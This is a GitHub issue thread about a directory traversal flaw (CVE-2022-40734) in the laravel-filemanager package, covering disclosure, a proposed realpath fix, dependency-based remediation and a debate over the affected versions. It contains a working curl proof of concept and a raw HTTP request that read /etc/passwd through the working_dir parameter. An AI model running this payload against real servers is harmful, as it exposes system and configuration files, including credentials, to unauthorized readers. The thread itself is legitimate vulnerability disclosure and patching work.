Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Directory traversal vulnerability (CVE-2022-40734) #1150

Closed
silicahd opened this issue Jun 22, 2022 · 19 comments
Closed

Directory traversal vulnerability (CVE-2022-40734) #1150

silicahd opened this issue Jun 22, 2022 · 19 comments
Labels
security Exploits, attacks, dangerous leaks.

Comments

@silicahd
Copy link

I do not use this package, but I seen this in our firewall blocked list. My guess is that there is some sort of vulnerability.

image

@johseg
Copy link

johseg commented Sep 6, 2022

yes that is a security vulnerability. I found that during a pentest for a client and wanted to report this privately, but since the picture shows the attack the cat is out of the back anyway

POC with curl:
curl "https://$DOMAIN/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"

This will give you the file /etc/passwd on the server. All files which are readable by the user used to run the application can be read. This usually includes configuration files with passwords etc.

I want to request a CVE for this for proper tracking. Any objections to this by the maintainers? I'll wait a week until I request one.

@duyld2108
Copy link

Just protected lfm routes with middleware [auth] until this issue fixed.

@johseg
Copy link

johseg commented Sep 15, 2022

This was assigned CVE-2022-40734.

@silicahd: Can you please change the title to something like "Directory traversal vulnerability (CVE-2022-40734)"?

@silicahd silicahd changed the title Possible Attack and vulnerability Directory traversal vulnerability (CVE-2022-40734) Sep 15, 2022
@jelmersdp
Copy link

jelmersdp commented Oct 4, 2022

@duyld2108 is it possible that this is already the case. If I look at the package code I see that the auth middleware is already called.
Are there any other specific lfm route that need to be include in the auth middleware?

Jacotheron added a commit to Jacotheron/laravel-filemanager that referenced this issue Nov 18, 2022
…-40734) UniSharp#1150. Fix uses the php realpath function to evaluate the actual file path, and then ensure that the file being requested is below the local disk root
@Jacotheron
Copy link

Jacotheron commented Nov 18, 2022

Having spent quite a bunch of time to get familiar with this issue (after I noticed no further releases to fix this issue), I am quite confident that this issue can be marked as resolved, and the releases no longer being marked as insucure.

When using any of the local filesystem drivers (managed by League\Flysystem) will be inspected and get the path normalized (luague/flysystem/src/WhitespacePathNormalizer.php - WhitespacePathNormalizer.php). Inside this class, the method "normalizeRelativePath" will split the path up into its various sections (relative to the root for the laravel disk). This will then rebuild the path to never allow access to anything outside of this root. Should it find that the relative path wants to escape the root, it will throw a PathTraversalDetected exception. This existed for at least 3 years already

From my stacktrace, this happens when LFM determines whether the file exist, prior to fetching it to serve.

The way this is written is quite bulletproof, and other errors will be thrown if it detects possible ways one might try to fool it. I attempted this traversal on my own local server, throwing a bunch of the common directory traversal options (from Directory Traversal Cheat Sheet) at it, and it blocked most, and the others failed as they were so wacky, PHP could not decode them into a path (the file does not exist, thus error 404).

I actually tried to make a pull-request with a bit of basic changes to fix this issue, but was unable to test it to confirm that it works as expected. My strategy was to simply use the PHP "realpath" function, where a relative path can be entered and it normalizes it into an absolute path; then ensure that the laravel disk root is above the normalized real path. For anyone wanting the code:

DownloadController -> getDownload method contents

       $file = $this->lfm->setName(request('file'));
        $file_absolute = $file->path('absolute');

        if (!Storage::disk($this->helper->config('disk'))->exists($file->path('storage'))) {
            abort(404);
        }


        if(config('filesystems.disks.'.$this->helper->config('disk').'.driver') === 'local'){
            $disk_root = realpath(config('filesystems.disks.'.$this->helper->config('disk').'.root'));
            $file_real_path = realpath($file_absolute);
            if(!Str::startsWith($file_real_path, $disk_root)){
                abort(404);
            }
        }

        return response()->download($file_absolute);

I was unable to get any request to pass the first "abort(404)", while attempting to go outside of the disk root.

As a conclusion, while this might have been an issue in the past, it has been solved (yes, it might not stop bots attempting to break in). While I would like these types of issues to be solved within the package that exposes it, the fact that is fixed by the underlying abstraction layer is good enough for me.

Just an edit: my tests is run with Laravel v9.40.1 (latest at time of writing), and PHP 8.1

@WhereIsLucas
Copy link

So, should we consider this issue resolved and tag a new release ?

@shankhadevpadam
Copy link

shankhadevpadam commented Jan 23, 2023

Is this issue solved?

@Romkabouter
Copy link

bump

@streamtw
Copy link
Member

streamtw commented Nov 15, 2023

Thank you @Jacotheron for your detailed elaboration! Looks like the issue will not exist if the version of league\flysystem is above 2.0.0.

I am finding a way to resolve the CVE.

@streamtw
Copy link
Member

I have added dependency for league/flysystem in composer.json, and released v2.6.4 of this package. If anyone installed this package with v1.x of league/flysystem, there will be a warning in the output of composer once they update this package to v2.6.4.

@streamtw streamtw added WIP Working in progress. security Exploits, attacks, dangerous leaks. labels Nov 24, 2023
@streamtw
Copy link
Member

streamtw commented Dec 8, 2023

I have addressed the patched versionv2.6.4 of this CVE in the Github Advisory Database(GHSA-5m2h-7rf2-rpx6).

I will still try to update information on other CVE websites. But I think it is fine to mark this issue as solved.

@streamtw streamtw closed this as completed Dec 8, 2023
@streamtw streamtw removed the WIP Working in progress. label Dec 11, 2023
@sw0rd1ight
Copy link

image
image

Does this vulnerability really exist? I can’t reproduce @johseg @streamtw
my environment
league/flysystem 1.1.10
laravel/framework 8.83.27
unisharp/laravel-filemanager:2.6.0

GET /laravel/html/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1
Host: localhost:82
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=000573dc-ed50-4fc7-8243-5cb81b5c0b81.OzwBLib5YzCDnEDtAlSU7vizqY8; XSRF-TOKEN=eyJpdiI6IkM4WHZ5bTQ3QnV5Y1V1NUZTMmRlZEE9PSIsInZhbHVlIjoiZDhRSmFldWMybWROMGZiVit2dGxYMFNPNkhvRHcvUENXUFpHZzl2VG15NDRNY1hiMTNmV3NJYzBib0VjT2VkY29Ld2dpVlFiRVN5L1dLRjd1aU41U251Y0xtbWFuVTlxVE9keThleEhKZ1ZPdFR0TmwyTDhwM2oxc1RkcG5tenMiLCJtYWMiOiI0YTliZmUyZWY1ZGEzNDIzNmViMDNiZDFjOWUyZTVhMGNiZDFhMWI4ZjA0YmJlNWNiY2Q4YjY2ODc5MDhlMjc0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVicnRPR1pJb2ZTaGV0NjBnM09OdEE9PSIsInZhbHVlIjoid3dHQXEyaS9mbTJVdEhFWEdib29LcGx5ZVA4cW1aZm9PbW1qRlFpdlNCUURYTkViM2piUjVNdWVSYUQyMXVSYjhnQjI4UFhLQ1ZnbkVEemkrT3YzK3dmcFcxYkdMeUhRRDg0NUtCTXpZOE1ZQTFpS2NCSk1zUHA5SmxYdXlWbWMiLCJtYWMiOiI0MDA5Yzk0ZTMzZGMzZDVkZTQ5YTgzN2Q5ZGZhNTQ0YzJlYjg5MmNmMTZlMjIzMzczNjYxYzAwY2Y1NTA0ZDk2IiwidGFnIjoiIn0%3D
Connection: close


@johseg
Copy link

johseg commented Mar 21, 2024

It existed at the time, but I don't have an environment to reproduce as I found this in a client environment

@streamtw
Copy link
Member

@sw0rd1ight in v2.x of league/flysystem, exception PathTraversalDetected is thrown. As for versions before v2.x, I do not know for sure it there is any other mechanism that prevents directory traversal.

@sw0rd1ight
Copy link

image
According to the information I collected, this version seems to have vulnerabilities. Can you tell which version this is from the picture? @johseg @streamtw

@streamtw
Copy link
Member

@sw0rd1ight The screenshot you provided looks like v1.x of this package.

@sw0rd1ight
Copy link

yes .
I can reproduce this problem using unisharp/laravel-filemanager:1.8.0
image
laravel-filemanager: league/flysystem has not been introduced in 1.8.0.

<?php namespace Unisharp\Laravelfilemanager\controllers;

/**
 * Class DownloadController
 * @package Unisharp\Laravelfilemanager\controllers
 */
class DownloadController extends LfmController
{
    /**
     * Download a file
     *
     * @return mixed
     */
    public function getDownload()
    {
        return response()->download(parent::getCurrentPath(request('file')));
    }
}

Therefore, the scope of impact described by CVE-2022-40734 is not accurate.

@streamtw
Copy link
Member

@sw0rd1ight Thanks for your effort in reproducing this issue.

In my opinion, users who visit CVE pages may want to know the exact version that will not encounter the security issues. In that case, I need to report to CVE that versions greater than or equal to v2.6.4 will do for sure (because v2.6.4 requires user to install v2.x of league/flysystem).

Although some of the previous versions may not encounter this issue, since user can choose to install v1.x or v2.x versions of league/flysystem, it is more easy to avoid this issue just by updating this package to v2.6.4 or newer versions. This is the reason why the current affected version range are marked in the CVE page.

Any suggestions?

@sw0rd1ight
Copy link

@streamtw ok.I have sent you a report to your email address streamtw.one@gmail.com

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
security Exploits, attacks, dangerous leaks.
Projects
None yet
Development

No branches or pull requests

10 participants